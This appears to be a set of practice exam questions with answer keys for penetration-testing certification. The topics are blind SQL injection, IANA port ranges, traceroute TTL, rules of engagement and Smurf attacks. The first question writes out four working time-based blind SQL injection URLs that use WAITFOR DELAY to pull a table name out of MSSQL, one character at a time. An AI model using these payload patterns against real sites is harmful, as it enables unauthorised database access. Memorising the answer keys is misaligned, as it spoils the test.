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QUESTION 1

A pen tester has extracted a database name by using a blind SQL injection. Now he begins to test the table inside the
database using the below query and finds the table: 

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype=\\'U\\')=3) WAITFOR
DELAY \\'00:00:10\\'-

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),1,1)))=101) WAITFOR DELAY \\'00:00:10\\'-

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),2,1)))=109) WAITFOR DELAY \\'00:00:10\\'-

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where
xtype=char(85)),3,1)))=112) WAITFOR DELAY \\'00:00:10\\'-

What is the table name? 

A. CTS 

B. QRT 

C. EMP 

D. ABC 

Correct Answer: C 

 

QUESTION 2

Which of the following is the range for assigned ports managed by the Internet Assigned Numbers Authority (IANA)? 

A. 3001-3100 

B. 5000-5099 

C. 6666-6674 

D. 0-1023 

Correct Answer: D 

Reference: https://www.ietf.org/rfc/rfc1700.txt (well known port numbers, 4th para) 

 

QUESTION 3

Traceroute is a computer network diagnostic tool for displaying the route (path) and measuring transit delays of packets
across an Internet Protocol (IP) network. It sends a sequence of three Internet Control Message Protocol (ICMP) echo
request packets addressed to a destination host. 
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The time-to-live (TTL) value, also known as hop limit, is used in determining the intermediate routers being traversed
towards the destination. 

During routing, each router reduces packets\\' TTL value by 

B. 1 

C. 4 

D. 2 

Correct Answer: B 

Reference: http://www.packetu.com/2009/10/09/traceroute-through-the-asa/ 

 

QUESTION 4

Which among the following information is not furnished by the Rules of Engagement (ROE) document? 

A. Techniques for data collection from systems upon termination of the test 

B. Techniques for data exclusion from systems upon termination of the test 

C. Details on how data should be transmitted during and after the test 

D. Details on how organizational data is treated throughout and after the test 
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Correct Answer: A 

 

QUESTION 5

James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast
address of his network. What type of DoS attack is James testing against his network? 

A. Smurf 

B. Trinoo 

C. Fraggle 

D. SYN flood 

Correct Answer: A 
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